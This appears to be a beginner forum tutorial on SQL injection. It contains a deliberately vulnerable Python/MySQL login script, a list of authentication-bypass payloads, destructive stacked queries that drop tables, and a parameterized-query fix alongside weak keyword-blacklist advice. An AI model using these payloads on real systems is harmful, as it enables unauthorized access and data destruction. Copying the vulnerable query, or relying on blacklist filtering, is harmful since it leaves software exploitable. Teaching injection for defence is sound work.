Gonna post some basic SQLI
For anyone who is new to pentesting or just never got around to SQLI
It is not hard or scary

I will share a basic python script for interacting with an SQL database:
import mysql.connector
from mysql.connector import Error

def connect_to_mysql():
    """Connect to MySQL database and fetch data."""
    try:
        # Establish the connection
        connection = mysql.connector.connect(
            host='127.0.0.1',
            user='root',
            database='nimda',
            password='pass'
        )

        if connection.is_connected():
            db_info = connection.get_server_info()
            print(f"Connected to MySQL Server version {db_info}")
            
            cursor = connection.cursor()

            # Bad user input
            # how can exploit this?
            username = input("Enter username: ")
            password = input("Enter password: ")

            # DO NOT EDIT THIS
            exploitAbleQuery = f"SELECT * FROM testing WHERE username='{username}' AND password='{password}';"

            cursor.execute(exploitAbleQuery)
            record = cursor.fetchone()
            print(f"You're connected to database: {record}")

    except Error as e:
        print(f"Error while connecting to MySQL: {e}")

    finally:
        if connection.is_connected():
            cursor.close()
            connection.close()
            print("MySQL connection is closed")

if __name__ == "__main__":
    connect_to_mysql()

Here are some SQLI methods
Think of these as jailbreaks that exit the string input bubble and put you into an SQL terminal

' or '1'='1

' or 'x'='x

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

'or'1=1'

This python script uses a vulnerable (unsanitized) query
exploitAbleQuery = f"SELECT * FROM testing WHERE username='{username}' AND password='{password}';"

How does the "jailbreak" work:

admin'
This is the initial username input then kills initial username string instance

OR 1=1
This makes the WHERE clause always true

Looking at a simple destructive attack known as a drop table attack
All this means is we are deleting a table from the SQL database

Delete Table:
admin' OR 1=1; DROP TABLE Target_Table;

Entering this into our username field will allow us to execute the DROP TABLE
The ; represents the end of an SQL command

We can also add tables if we wish:
admin' OR 1=1; CREATE TABLE Exploit_Table (id INT);

admin = username
' OR 1=1 = jailbreak (exit string + set WHERE to always true)
; = next command
CREATE TABLE Exploit_Table (id INT) = simple create table SQL command with "Exploit_Table" being the table name

Again simply using the same SQL "jailbreak" we can then run any command we wish
The python script I am providing will not allow all functionality
But in a real world scenario its likely the vulnerable script will be capable of much more

First we will create the table
Then execute the DROP TABLE attack
(They use scary buzzword names but really the exploit is just allowing simple SQL RCE)
It is sort of like a CMD or Terminal reverse shell
All we are doing is gaining serverside access to the SQL terminal essentially

Also you may see lots of -- in SQLI demonstration
This is like a comment out like # or // in code
It just tells the terminal to ignore the rest of SQL to prevent potential errors being thrown etc

Serverside in the SQL database this will look like this:
[URL REMOVED]

Now to fix this simple vulnerability
We want to sanitize the user entries
What does sanitize mean? Fancy word for removing obviously bad entries

In this case we would check for entries that include " OR " and " or "
You can take it a step further to try and patch unforseen SQLI methods by blocking SQL syntax
For example anything with "DROP TABLE" or special characters like ";"
We would likely just throw an error explaining that it was an invalid input and to try again
Potentially send a message to SysAdmins that there was a potential breach attempt

Below is a very basic implementation of sanitization:
import mysql.connector
from mysql.connector import Error

def connect_to_mysql():
    try:
        connection = mysql.connector.connect(
            host='127.0.0.1',
            user='root',
            database='nimda',
            password='pass'
        )

        if connection.is_connected():
            db_info = connection.get_server_info()
            print(f"Connected to MySQL Server version {db_info}")
            cursor = connection.cursor()
            
            username = input("Enter username: ")
            password = input("Enter password: ")

            # Parameterized query prevents SQLI
            query = "SELECT * FROM testing WHERE username=%s AND password=%s;"
            cursor.execute(query, (username, password))
            record = cursor.fetchone()

            if record:
                print(f"You're connected to database: {record}")
            else:
                print("Invalid username or password")

    except Error as e:
        print(f"Error while connecting to MySQL: {e}")

    finally:
        if connection.is_connected():
            cursor.close()
            connection.close()
            print("MySQL connection is closed")

if __name__ == "__main__":
    connect_to_mysql()

In this instance we are using safe parameters
We would expect a bit more security in real world scenario with "input filters"
A filter is like what I described earlier removing or erroring when the entry contains red flag syntax

Thats all
I dont have much experience with web and network based hacking myself
But hopefully this shows how simple the theory can be for beginners
All you really have to learn is the SQLI "jailbreaks" and look for a vulnerable query
I believe there are even automated scanners for such things

You can of course use google dorking too looking for intext query or page title for backend logins etc
Best of luck learning hope this helps in some way